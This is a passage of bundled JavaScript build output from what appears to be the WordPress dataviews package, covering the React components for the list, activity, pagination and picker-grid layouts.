26842 /* @__PURE__ */ (0, import_jsx_runtime195.jsx)("span", { className: "dataviews-view-list__field-value", children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26843 field.render,
26844 {
26845 item,
26846 field
26847 }
26848 ) })
26849 ]
26850 },
26851 field.id
26852 ))
26853 }
26854 )
26855 ]
26856 }
26857 )
26858 ]
26859 }
26860 )
26861 ]
26862 }
26863 )
26864 }
26865 );
26866 }
26867 function isDefined2(item) {
26868 return !!item;
26869 }
26870 function ViewList(props) {
26871 const {
26872 actions,
26873 data,
26874 fields,
26875 getItemId: getItemId2,
26876 isLoading,
26877 onChangeSelection,
26878 selection,
26879 view,
26880 className,
26881 empty
26882 } = props;
26883 const baseId = (0, import_compose16.useInstanceId)(ViewList, "view-list");
26884 const isDelayedLoading = useDelayedLoading(!!isLoading);
26885 const selectedItem = data?.findLast(
26886 (item) => selection.includes(getItemId2(item))
26887 );
26888 const titleField = fields.find((field) => field.id === view.titleField);
26889 const mediaField = fields.find((field) => field.id === view.mediaField);
26890 const descriptionField2 = fields.find(
26891 (field) => field.id === view.descriptionField
26892 );
26893 const otherFields = (view?.fields ?? []).map((fieldId) => fields.find((f2) => fieldId === f2.id)).filter(isDefined2);
26894 const onSelect = (item) => onChangeSelection([getItemId2(item)]);
26895 const generateCompositeItemIdPrefix = (0, import_element79.useCallback)(
26896 (item) => `${baseId}-${getItemId2(item)}`,
26897 [baseId, getItemId2]
26898 );
26899 const isActiveCompositeItem = (0, import_element79.useCallback)(
26900 (item, idToCheck) => {
26901 return idToCheck.startsWith(
26902 generateCompositeItemIdPrefix(item)
26903 );
26904 },
26905 [generateCompositeItemIdPrefix]
26906 );
26907 const [activeCompositeId, setActiveCompositeId] = (0, import_element79.useState)(void 0);
26908 (0, import_element79.useEffect)(() => {
26909 if (selectedItem) {
26910 setActiveCompositeId(
26911 generateItemWrapperCompositeId(
26912 generateCompositeItemIdPrefix(selectedItem)
26913 )
26914 );
26915 }
26916 }, [selectedItem, generateCompositeItemIdPrefix]);
26917 const activeItemIndex = data.findIndex(
26918 (item) => isActiveCompositeItem(item, activeCompositeId ?? "")
26919 );
26920 const previousActiveItemIndex = (0, import_compose16.usePrevious)(activeItemIndex);
26921 const isActiveIdInList = activeItemIndex !== -1;
26922 const selectCompositeItem = (0, import_element79.useCallback)(
26923 (targetIndex, generateCompositeId) => {
26924 const clampedIndex = Math.min(
26925 data.length - 1,
26926 Math.max(0, targetIndex)
26927 );
26928 if (!data[clampedIndex]) {
26929 return;
26930 }
26931 const itemIdPrefix = generateCompositeItemIdPrefix(
26932 data[clampedIndex]
26933 );
26934 const targetCompositeItemId = generateCompositeId(itemIdPrefix);
26935 setActiveCompositeId(targetCompositeItemId);
26936 document.getElementById(targetCompositeItemId)?.focus();
26937 },
26938 [data, generateCompositeItemIdPrefix]
26939 );
26940 (0, import_element79.useEffect)(() => {
26941 const wasActiveIdInList = previousActiveItemIndex !== void 0 && previousActiveItemIndex !== -1;
26942 if (!isActiveIdInList && wasActiveIdInList) {
26943 selectCompositeItem(
26944 previousActiveItemIndex,
26945 generateItemWrapperCompositeId
26946 );
26947 }
26948 }, [isActiveIdInList, selectCompositeItem, previousActiveItemIndex]);
26949 const onDropdownTriggerKeyDown = (0, import_element79.useCallback)(
26950 (event) => {
26951 if (event.key === "ArrowDown") {
26952 event.preventDefault();
26953 selectCompositeItem(
26954 activeItemIndex + 1,
26955 generateDropdownTriggerCompositeId
26956 );
26957 }
26958 if (event.key === "ArrowUp") {
26959 event.preventDefault();
26960 selectCompositeItem(
26961 activeItemIndex - 1,
26962 generateDropdownTriggerCompositeId
26963 );
26964 }
26965 },
26966 [selectCompositeItem, activeItemIndex]
26967 );
26968 const hasData = !!data?.length;
26969 const groupField = view.groupBy?.field ? fields.find((field) => field.id === view.groupBy?.field) : null;
26970 const dataByGroup = hasData && groupField ? getDataByGroup(data, groupField) : null;
26971 const isInfiniteScroll = view.infiniteScrollEnabled && !dataByGroup;
26972 if (!hasData) {
26973 return /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26974 "div",
26975 {
26976 className: clsx_default("dataviews-no-results", {
26977 "is-refreshing": isDelayedLoading
26978 }),
26979 children: empty
26980 }
26981 );
26982 }
26983 if (hasData && groupField && dataByGroup) {
26984 return /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26985 import_components100.Composite,
26986 {
26987 id: `${baseId}`,
26988 render: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)("div", {}),
26989 className: "dataviews-view-list__group",
26990 role: "grid",
26991 activeId: activeCompositeId,
26992 setActiveId: setActiveCompositeId,
26993 children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
26994 Stack,
26995 {
26996 direction: "column",
26997 gap: "lg",
26998 className: clsx_default("dataviews-view-list", className),
26999 children: Array.from(dataByGroup.entries()).map(
27000 ([groupName, groupItems]) => /* @__PURE__ */ (0, import_jsx_runtime195.jsxs)(
27001 Stack,
27002 {
27003 direction: "column",
27004 gap: "sm",
27005 children: [
27006 /* @__PURE__ */ (0, import_jsx_runtime195.jsx)("h3", { className: "dataviews-view-list__group-header", children: view.groupBy?.showLabel === false ? groupName : (0, import_i18n95.sprintf)(
27007 // translators: 1: The label of the field e.g. "Date". 2: The value of the field, e.g.: "May 2022".
27008 (0, import_i18n95.__)("%1$s: %2$s"),
27009 groupField.label,
27010 groupName
27011 ) }),
27012 groupItems.map((item) => {
27013 const id = generateCompositeItemIdPrefix(item);
27014 return /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
27015 ListItem,
27016 {
27017 view,
27018 idPrefix: id,
27019 actions,
27020 item,
27021 isSelected: item === selectedItem,
27022 onSelect,
27023 mediaField,
27024 titleField,
27025 descriptionField: descriptionField2,
27026 otherFields,
27027 onDropdownTriggerKeyDown
27028 },
27029 id
27030 );
27031 })
27032 ]
27033 },
27034 groupName
27035 )
27036 )
27037 }
27038 )
27039 }
27040 );
27041 }
27042 return /* @__PURE__ */ (0, import_jsx_runtime195.jsxs)(import_jsx_runtime195.Fragment, { children: [
27043 /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
27044 import_components100.Composite,
27045 {
27046 id: baseId,
27047 render: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)("div", {}),
27048 className: clsx_default("dataviews-view-list", className, {
27049 [`has-${view.layout?.density}-density`]: view.layout?.density && ["compact", "comfortable"].includes(
27050 view.layout.density
27051 ),
27052 "is-refreshing": !isInfiniteScroll && isDelayedLoading
27053 }),
27054 role: view.infiniteScrollEnabled ? "feed" : "grid",
27055 activeId: activeCompositeId,
27056 setActiveId: setActiveCompositeId,
27057 inert: !isInfiniteScroll && !!isLoading ? "true" : void 0,
27058 children: data.map((item, index) => {
27059 const id = generateCompositeItemIdPrefix(item);
27060 return /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
27061 ListItem,
27062 {
27063 view,
27064 idPrefix: id,
27065 actions,
27066 item,
27067 isSelected: item === selectedItem,
27068 onSelect,
27069 mediaField,
27070 titleField,
27071 descriptionField: descriptionField2,
27072 otherFields,
27073 onDropdownTriggerKeyDown,
27074 posinset: view.infiniteScrollEnabled ? index + 1 : void 0
27075 },
27076 id
27077 );
27078 })
27079 }
27080 ),
27081 isInfiniteScroll && isLoading && /* @__PURE__ */ (0, import_jsx_runtime195.jsx)("p", { className: "dataviews-loading-more", children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(import_components100.Spinner, {}) })
27082 ] });
27083 }
27084
27085 // packages/dataviews/build-module/components/dataviews-layouts/activity/index.mjs
27086 var import_components102 = __toESM(require_components(), 1);
27087
27088 // packages/dataviews/build-module/components/dataviews-layouts/activity/activity-group.mjs
27089 var import_i18n96 = __toESM(require_i18n(), 1);
27090 var import_element80 = __toESM(require_element(), 1);
27091 var import_jsx_runtime196 = __toESM(require_jsx_runtime(), 1);
27092 function ActivityGroup({
27093 groupName,
27094 groupData,
27095 groupField,
27096 showLabel = true,
27097 children
27098 }) {
27099 const groupHeader = showLabel ? (0, import_element80.createInterpolateElement)(
27100 // translators: %s: The label of the field e.g. "Status".
27101 (0, import_i18n96.sprintf)((0, import_i18n96.__)("%s: <groupName />"), groupField.label).trim(),
27102 {
27103 groupName: /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(
27104 groupField.render,
27105 {
27106 item: groupData[0],
27107 field: groupField
27108 }
27109 )
27110 }
27111 ) : /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(groupField.render, { item: groupData[0], field: groupField });
27112 return /* @__PURE__ */ (0, import_jsx_runtime196.jsxs)(
27113 Stack,
27114 {
27115 direction: "column",
27116 className: "dataviews-view-activity__group",
27117 children: [
27118 /* @__PURE__ */ (0, import_jsx_runtime196.jsx)("h3", { className: "dataviews-view-activity__group-header", children: groupHeader }),
27119 children
27120 ]
27121 },
27122 groupName
27123 );
27124 }
27125
27126 // packages/dataviews/build-module/components/dataviews-layouts/activity/activity-item.mjs
27127 var import_components101 = __toESM(require_components(), 1);
27128 var import_element81 = __toESM(require_element(), 1);
27129 var import_data62 = __toESM(require_data(), 1);
27130 var import_compose17 = __toESM(require_compose(), 1);
27131 var import_jsx_runtime197 = __toESM(require_jsx_runtime(), 1);
27132 function ActivityItem(props) {
27133 const {
27134 view,
27135 actions,
27136 item,
27137 titleField,
27138 mediaField,
27139 descriptionField: descriptionField2,
27140 otherFields,
27141 posinset,
27142 onClickItem,
27143 renderItemLink,
27144 isItemClickable
27145 } = props;
27146 const {
27147 showTitle = true,
27148 showMedia = true,
27149 showDescription = true,
27150 infiniteScrollEnabled
27151 } = view;
27152 const itemRef = (0, import_element81.useRef)(null);
27153 const registry = (0, import_data62.useRegistry)();
27154 const { paginationInfo } = (0, import_element81.useContext)(dataviews_context_default);
27155 const { primaryActions, eligibleActions } = (0, import_element81.useMemo)(() => {
27156 const _eligibleActions = actions.filter(
27157 (action) => !action.isEligible || action.isEligible(item)
27158 );
27159 const _primaryActions = _eligibleActions.filter(
27160 (action) => action.isPrimary
27161 );
27162 return {
27163 primaryActions: _primaryActions,
27164 eligibleActions: _eligibleActions
27165 };
27166 }, [actions, item]);
27167 const isMobileViewport = (0, import_compose17.useViewportMatch)("medium", "<");
27168 const density = view.layout?.density ?? "balanced";
27169 const mediaContent = showMedia && density !== "compact" && mediaField?.render ? /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(
27170 mediaField.render,
27171 {
27172 item,
27173 field: mediaField,
27174 config: {
27175 sizes: density === "comfortable" ? "32px" : "24px"
27176 }
27177 }
27178 ) : null;
27179 const renderedMediaField = /* @__PURE__ */ (0, import_jsx_runtime197.jsx)("div", { className: "dataviews-view-activity__item-type-icon", children: mediaContent || /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(
27180 "span",
27181 {
27182 className: "dataviews-view-activity__item-bullet",
27183 "aria-hidden": "true"
27184 }
27185 ) });
27186 const renderedTitleField = showTitle && titleField?.render ? /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(titleField.render, { item, field: titleField }) : null;
27187 const verticalGap = (0, import_element81.useMemo)(() => {
27188 switch (density) {
27189 case "comfortable":
27190 return "md";
27191 default:
27192 return "sm";
27193 }
27194 }, [density]);
27195 return /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(
27196 "div",
27197 {
27198 ref: itemRef,
27199 role: infiniteScrollEnabled ? "article" : void 0,
27200 "aria-posinset": posinset,
27201 "aria-setsize": infiniteScrollEnabled ? paginationInfo.totalItems : void 0,
27202 className: clsx_default(
27203 "dataviews-view-activity__item",
27204 density === "compact" && "is-compact",
27205 density === "balanced" && "is-balanced",
27206 density === "comfortable" && "is-comfortable"
27207 ),
27208 children: /* @__PURE__ */ (0, import_jsx_runtime197.jsxs)(Stack, { direction: "row", gap: "lg", justify: "start", align: "flex-start", children: [
27209 /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(
27210 Stack,
27211 {
27212 direction: "column",
27213 gap: "xs",
27214 align: "center",
27215 className: "dataviews-view-activity__item-type",
27216 children: renderedMediaField
27217 }
27218 ),
27219 /* @__PURE__ */ (0, import_jsx_runtime197.jsxs)(
27220 Stack,
27221 {
27222 direction: "column",
27223 gap: verticalGap,
27224 align: "flex-start",
27225 className: "dataviews-view-activity__item-content",
27226 children: [
27227 renderedTitleField && /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(
27228 ItemClickWrapper,
27229 {
27230 item,
27231 isItemClickable,
27232 onClickItem,
27233 renderItemLink,
27234 className: "dataviews-view-activity__item-title",
27235 children: renderedTitleField
27236 }
27237 ),
27238 showDescription && descriptionField2 && /* @__PURE__ */ (0, import_jsx_runtime197.jsx)("div", { className: "dataviews-view-activity__item-description", children: /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(
27239 descriptionField2.render,
27240 {
27241 item,
27242 field: descriptionField2
27243 }
27244 ) }),
27245 /* @__PURE__ */ (0, import_jsx_runtime197.jsx)("div", { className: "dataviews-view-activity__item-fields", children: otherFields.map((field) => /* @__PURE__ */ (0, import_jsx_runtime197.jsxs)(
27246 "div",
27247 {
27248 className: "dataviews-view-activity__item-field",
27249 children: [
27250 /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(
27251 import_components101.VisuallyHidden,
27252 {
27253 as: "span",
27254 className: "dataviews-view-activity__item-field-label",
27255 children: field.label
27256 }
27257 ),
27258 /* @__PURE__ */ (0, import_jsx_runtime197.jsx)("span", { className: "dataviews-view-activity__item-field-value", children: /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(
27259 field.render,
27260 {
27261 item,
27262 field
27263 }
27264 ) })
27265 ]
27266 },
27267 field.id
27268 )) }),
27269 !!primaryActions?.length && /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(
27270 PrimaryActions,
27271 {
27272 item,
27273 actions: primaryActions,
27274 registry,
27275 buttonVariant: "secondary"
27276 }
27277 )
27278 ]
27279 }
27280 ),
27281 (primaryActions.length < eligibleActions.length || // Since we hide primary actions on mobile, we need to show the menu
27282 // there if there are any actions at all.
27283 isMobileViewport && // At the same time, only show the menu if there are actions to show.
27284 eligibleActions.length > 0) && /* @__PURE__ */ (0, import_jsx_runtime197.jsx)("div", { className: "dataviews-view-activity__item-actions", children: /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(
27285 ItemActions,
27286 {
27287 item,
27288 actions: eligibleActions,
27289 isCompact: true
27290 }
27291 ) })
27292 ] })
27293 }
27294 );
27295 }
27296 var activity_item_default = ActivityItem;
27297
27298 // packages/dataviews/build-module/components/dataviews-layouts/activity/activity-items.mjs
27299 var import_react7 = __toESM(require_react(), 1);
27300 function isDefined3(item) {
27301 return !!item;
27302 }
27303 function ActivityItems(props) {
27304 const { data, fields, getItemId: getItemId2, view } = props;
27305 const titleField = fields.find((field) => field.id === view.titleField);
27306 const mediaField = fields.find((field) => field.id === view.mediaField);
27307 const descriptionField2 = fields.find(
27308 (field) => field.id === view.descriptionField
27309 );
27310 const otherFields = (view?.fields ?? []).map((fieldId) => fields.find((f2) => fieldId === f2.id)).filter(isDefined3);
27311 return data.map((item, index) => {
27312 return /* @__PURE__ */ (0, import_react7.createElement)(
27313 activity_item_default,
27314 {
27315 ...props,
27316 key: getItemId2(item),
27317 item,
27318 mediaField,
27319 titleField,
27320 descriptionField: descriptionField2,
27321 otherFields,
27322 posinset: view.infiniteScrollEnabled ? index + 1 : void 0
27323 }
27324 );
27325 });
27326 }
27327
27328 // packages/dataviews/build-module/components/dataviews-layouts/activity/index.mjs
27329 var import_jsx_runtime198 = __toESM(require_jsx_runtime(), 1);
27330 function ViewActivity(props) {
27331 const { empty, data, fields, isLoading, view, className } = props;
27332 const isDelayedLoading = useDelayedLoading(!!isLoading);
27333 const hasData = !!data?.length;
27334 const groupField = view.groupBy?.field ? fields.find((field) => field.id === view.groupBy?.field) : null;
27335 const dataByGroup = hasData && groupField ? getDataByGroup(data, groupField) : null;
27336 const isInfiniteScroll = view.infiniteScrollEnabled && !dataByGroup;
27337 if (!hasData) {
27338 return /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(
27339 "div",
27340 {
27341 className: clsx_default("dataviews-no-results", {
27342 "is-refreshing": isDelayedLoading
27343 }),
27344 children: empty
27345 }
27346 );
27347 }
27348 const isInert = !isInfiniteScroll && !!isLoading;
27349 const wrapperClassName = clsx_default("dataviews-view-activity", className, {
27350 "is-refreshing": !isInfiniteScroll && isDelayedLoading
27351 });
27352 const groupedEntries = dataByGroup ? Array.from(dataByGroup.entries()) : [];
27353 if (hasData && groupField && dataByGroup) {
27354 return /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(
27355 Stack,
27356 {
27357 direction: "column",
27358 gap: "sm",
27359 className: wrapperClassName,
27360 inert: isInert ? "true" : void 0,
27361 children: groupedEntries.map(
27362 ([groupName, groupData]) => /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(
27363 ActivityGroup,
27364 {
27365 groupName,
27366 groupData,
27367 groupField,
27368 showLabel: view.groupBy?.showLabel !== false,
27369 children: /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(
27370 ActivityItems,
27371 {
27372 ...props,
27373 data: groupData
27374 }
27375 )
27376 },
27377 groupName
27378 )
27379 )
27380 }
27381 );
27382 }
27383 return /* @__PURE__ */ (0, import_jsx_runtime198.jsxs)(import_jsx_runtime198.Fragment, { children: [
27384 /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(
27385 "div",
27386 {
27387 className: wrapperClassName,
27388 role: view.infiniteScrollEnabled ? "feed" : void 0,
27389 inert: isInert ? "true" : void 0,
27390 children: /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(ActivityItems, { ...props })
27391 }
27392 ),
27393 isInfiniteScroll && isLoading && /* @__PURE__ */ (0, import_jsx_runtime198.jsx)("p", { className: "dataviews-loading-more", children: /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(import_components102.Spinner, {}) })
27394 ] });
27395 }
27396
27397 // packages/dataviews/build-module/components/dataviews-layouts/picker-grid/index.mjs
27398 var import_components105 = __toESM(require_components(), 1);
27399 var import_i18n99 = __toESM(require_i18n(), 1);
27400 var import_compose18 = __toESM(require_compose(), 1);
27401 var import_element85 = __toESM(require_element(), 1);
27402
27403 // packages/dataviews/build-module/components/dataviews-picker-footer/index.mjs
27404 var import_components104 = __toESM(require_components(), 1);
27405 var import_data63 = __toESM(require_data(), 1);
27406 var import_element83 = __toESM(require_element(), 1);
27407 var import_i18n98 = __toESM(require_i18n(), 1);
27408
27409 // packages/dataviews/build-module/components/dataviews-pagination/index.mjs
27410 var import_components103 = __toESM(require_components(), 1);
27411 var import_element82 = __toESM(require_element(), 1);
27412 var import_i18n97 = __toESM(require_i18n(), 1);
27413 var import_jsx_runtime199 = __toESM(require_jsx_runtime(), 1);
27414 function DataViewsPagination() {
27415 const {
27416 view,
27417 onChangeView,
27418 paginationInfo: { totalItems = 0, totalPages }
27419 } = (0, import_element82.useContext)(dataviews_context_default);
27420 if (!totalItems || !totalPages || view.infiniteScrollEnabled) {
27421 return null;
27422 }
27423 const currentPage = view.page ?? 1;
27424 const pageSelectOptions = Array.from(Array(totalPages)).map(
27425 (_, i2) => {
27426 const page = i2 + 1;
27427 return {
27428 value: page.toString(),
27429 label: page.toString(),
27430 "aria-label": currentPage === page ? (0, import_i18n97.sprintf)(
27431 // translators: 1: current page number. 2: total number of pages.
27432 (0, import_i18n97.__)("Page %1$d of %2$d"),
27433 currentPage,
27434 totalPages
27435 ) : page.toString()
27436 };
27437 }
27438 );
27439 return !!totalItems && totalPages !== 1 && /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)(
27440 Stack,
27441 {
27442 direction: "row",
27443 className: "dataviews-pagination",
27444 justify: "end",
27445 align: "center",
27446 gap: "xl",
27447 children: [
27448 /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(
27449 Stack,
27450 {
27451 direction: "row",
27452 justify: "flex-start",
27453 align: "center",
27454 gap: "xs",
27455 className: "dataviews-pagination__page-select",
27456 children: (0, import_element82.createInterpolateElement)(
27457 (0, import_i18n97.sprintf)(
27458 // translators: 1: Current page number, 2: Total number of pages.
27459 (0, import_i18n97._x)(
27460 "<div>Page</div>%1$s<div>of %2$d</div>",
27461 "paging"
27462 ),
27463 "<CurrentPage />",
27464 totalPages
27465 ),
27466 {
27467 div: /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("div", { "aria-hidden": true }),
27468 CurrentPage: /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(
27469 import_components103.SelectControl,
27470 {
27471 "aria-label": (0, import_i18n97.__)("Current page"),
27472 value: currentPage.toString(),
27473 options: pageSelectOptions,
27474 onChange: (newValue) => {
27475 onChangeView({
27476 ...view,
27477 page: +newValue
27478 });
27479 },
27480 size: "small",
27481 variant: "minimal"
27482 }
27483 )
27484 }
27485 )
27486 }
27487 ),
27488 /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)(Stack, { direction: "row", gap: "xs", align: "center", children: [
27489 /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(
27490 import_components103.Button,
27491 {
27492 onClick: () => onChangeView({
27493 ...view,
27494 page: currentPage - 1
27495 }),
27496 disabled: currentPage === 1,
27497 accessibleWhenDisabled: true,
27498 label: (0, import_i18n97.__)("Previous page"),
27499 icon: (0, import_i18n97.isRTL)() ? next_default : previous_default,
27500 showTooltip: true,
27501 size: "compact",
27502 tooltipPosition: "top"
27503 }
27504 ),
27505 /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(
27506 import_components103.Button,
27507 {
27508 onClick: () => onChangeView({ ...view, page: currentPage + 1 }),
27509 disabled: currentPage >= totalPages,
27510 accessibleWhenDisabled: true,
27511 label: (0, import_i18n97.__)("Next page"),
27512 icon: (0, import_i18n97.isRTL)() ? previous_default : next_default,
27513 showTooltip: true,
27514 size: "compact",
27515 tooltipPosition: "top"
27516 }
27517 )
27518 ] })
27519 ]
27520 }
27521 );
27522 }
27523 var dataviews_pagination_default = (0, import_element82.memo)(DataViewsPagination);
27524
27525 // packages/dataviews/build-module/components/dataviews-picker-footer/index.mjs
27526 var import_jsx_runtime200 = __toESM(require_jsx_runtime(), 1);
27527 function useIsMultiselectPicker(actions) {
27528 return (0, import_element83.useMemo)(() => {
27529 return actions?.every((action) => action.supportsBulk);
27530 }, [actions]);
27531 }
27532
27533 // packages/dataviews/build-module/components/dataviews-layouts/utils/grid-items.mjs
27534 var import_element84 = __toESM(require_element(), 1);
27535 var import_jsx_runtime201 = __toESM(require_jsx_runtime(), 1);
27536 var GridItems = (0, import_element84.forwardRef)(({ className, previewSize, ...props }, ref) => {
27537 return /* @__PURE__ */ (0, import_jsx_runtime201.jsx)(
27538 "div",
27539 {
27540 ref,
27541 className: clsx_default("dataviews-view-grid-items", className),
27542 style: {
27543 gridTemplateColumns: previewSize && `repeat(auto-fill, minmax(${previewSize}px, 1fr))`
27544 },
27545 ...props
27546 }
27547 );
27548 });
27549
27550 // packages/dataviews/build-module/components/dataviews-layouts/picker-grid/index.mjs
27551 var import_jsx_runtime202 = __toESM(require_jsx_runtime(), 1);
27552 var { Badge: Badge4 } = unlock3(import_components105.privateApis);
27553 function GridItem3({
27554 view,
27555 multiselect,
27556 selection,
27557 onChangeSelection,
27558 getItemId: getItemId2,
27559 item,
27560 mediaField,
27561 titleField,
27562 descriptionField: descriptionField2,
27563 regularFields,
27564 badgeFields,
27565 config: config2,
27566 posinset,
27567 setsize
27568 }) {
27569 const { showTitle = true, showMedia = true, showDescription = true } = view;
27570 const id = getItemId2(item);
27571 const isSelected2 = selection.includes(id);
27572 const renderedMediaField = mediaField?.render ? /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27573 mediaField.render,
27574 {
27575 item,
27576 field: mediaField,
27577 config: config2
27578 }
27579 ) : null;
27580 const renderedTitleField = showTitle && titleField?.render ? /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(titleField.render, { item, field: titleField }) : null;
27581 return /* @__PURE__ */ (0, import_jsx_runtime202.jsxs)(
27582 import_components105.Composite.Item,
27583 {
27584 "aria-label": titleField ? titleField.getValue({ item }) || (0, import_i18n99.__)("(no title)") : void 0,
27585 render: ({ children, ...props }) => /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(Stack, { direction: "column", children, ...props }),
27586 role: "option",
27587 "aria-posinset": posinset,
27588 "aria-setsize": setsize,
27589 className: clsx_default("dataviews-view-picker-grid__card", {
27590 "is-selected": isSelected2
27591 }),
27592 "aria-selected": isSelected2,
27593 onClick: () => {
27594 if (isSelected2) {
27595 onChangeSelection(
27596 selection.filter((itemId) => id !== itemId)
27597 );
27598 } else {
27599 const newSelection = multiselect ? [...selection, id] : [id];
27600 onChangeSelection(newSelection);
27601 }
27602 },
27603 children: [
27604 showMedia && renderedMediaField && /* @__PURE__ */ (0, import_jsx_runtime202.jsx)("div", { className: "dataviews-view-picker-grid__media", children: renderedMediaField }),
27605 showMedia && renderedMediaField && /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27606 DataViewsSelectionCheckbox,
27607 {
27608 item,
27609 selection,
27610 onChangeSelection,
27611 getItemId: getItemId2,
27612 titleField,
27613 disabled: false,
27614 "aria-hidden": true,
27615 tabIndex: -1
27616 }
27617 ),
27618 showTitle && /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27619 Stack,
27620 {
27621 direction: "row",
27622 justify: "space-between",
27623 className: "dataviews-view-picker-grid__title-actions",
27624 children: /* @__PURE__ */ (0, import_jsx_runtime202.jsx)("div", { className: "dataviews-view-picker-grid__title-field dataviews-title-field", children: renderedTitleField })
27625 }
27626 ),
27627 /* @__PURE__ */ (0, import_jsx_runtime202.jsxs)(Stack, { direction: "column", gap: "xs", children: [
27628 showDescription && descriptionField2?.render && /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27629 descriptionField2.render,
27630 {
27631 item,
27632 field: descriptionField2
27633 }
27634 ),
27635 !!badgeFields?.length && /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27636 Stack,
27637 {
27638 direction: "row",
27639 className: "dataviews-view-picker-grid__badge-fields",
27640 gap: "sm",
27641 wrap: "wrap",
27642 align: "top",
27643 justify: "flex-start",
27644 children: badgeFields.map((field) => {
27645 return /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27646 Badge4,
27647 {
27648 className: "dataviews-view-picker-grid__field-value",
27649 children: /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27650 field.render,
27651 {
27652 item,
27653 field
27654 }
27655 )
27656 },
27657 field.id
27658 );
27659 })
27660 }
27661 ),
27662 !!regularFields?.length && /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27663 Stack,
27664 {
27665 direction: "column",
27666 className: "dataviews-view-picker-grid__fields",
27667 gap: "xs",
27668 children: regularFields.map((field) => {
27669 return /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27670 import_components105.Flex,
27671 {
27672 className: "dataviews-view-picker-grid__field",
27673 gap: 1,
27674 justify: "flex-start",
27675 expanded: true,
27676 style: { height: "auto" },
27677 direction: "row",
27678 children: /* @__PURE__ */ (0, import_jsx_runtime202.jsxs)(import_jsx_runtime202.Fragment, { children: [
27679 /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(import_components105.FlexItem, { className: "dataviews-view-picker-grid__field-name", children: field.header }),
27680 /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27681 import_components105.FlexItem,
27682 {
27683 className: "dataviews-view-picker-grid__field-value",
27684 style: { maxHeight: "none" },
27685 children: /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27686 field.render,
27687 {
27688 item,
27689 field
27690 }
27691 )
27692 }
27693 )
27694 ] })
27695 },
27696 field.id
27697 );
27698 })
27699 }
27700 )
27701 ] })
27702 ]
27703 },
27704 id
27705 );
27706 }
27707 function GridGroup({
27708 groupName,
27709 groupField,
27710 showLabel = true,
27711 children
27712 }) {
27713 const headerId = (0, import_compose18.useInstanceId)(
27714 GridGroup,
27715 "dataviews-view-picker-grid-group__header"
27716 );
27717 return /* @__PURE__ */ (0, import_jsx_runtime202.jsxs)(
27718 Stack,
27719 {
27720 direction: "column",
27721 gap: "sm",
27722 role: "group",
27723 "aria-labelledby": headerId,
27724 children: [
27725 /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(
27726 "h3",
27727 {
27728 className: "dataviews-view-picker-grid-group__header",
27729 id: headerId,
27730 children: showLabel ? (0, import_i18n99.sprintf)(
27731 // translators: 1: The label of the field e.g. "Date". 2: The value of the field, e.g.: "May 2022".
27732 (0, import_i18n99.__)("%1$s: %2$s"),
27733 groupField.label,
27734 groupName
27735 ) : groupName
27736 }
27737 ),
27738 children
27739 ]
27740 },
27741 groupName
27742 );
27743 }
27744 function ViewPickerGrid({
27745 actions,
27746 data,
27747 fields,
27748 getItemId: getItemId2,
27749 isLoading,
27750 onChangeSelection,
27751 selection,
27752 view,
27753 className,
27754 empty
27755 }) {
27756 const { resizeObserverRef, paginationInfo, itemListLabel } = (0, import_element85.useContext)(dataviews_context_default);
27757 const titleField = fields.find(
27758 (field) => field.id === view?.titleField
27759 );
27760 const mediaField = fields.find(
27761 (field) => field.id === view?.mediaField
27762 );
27763 const descriptionField2 = fields.find(
27764 (field) => field.id === view?.descriptionField
27765 );
27766 const otherFields = view.fields ?? [];
27767 const { regularFields, badgeFields } = otherFields.reduce(
27768 (accumulator, fieldId) => {
27769 const field = fields.find((f2) => f2.id === fieldId);
27770 if (!field) {
27771 return accumulator;
27772 }
27773 const key = view.layout?.badgeFields?.includes(fieldId) ? "badgeFields" : "regularFields";
27774 accumulator[key].push(field);
27775 return accumulator;
27776 },
27777 { regularFields: [], badgeFields: [] }
27778 );
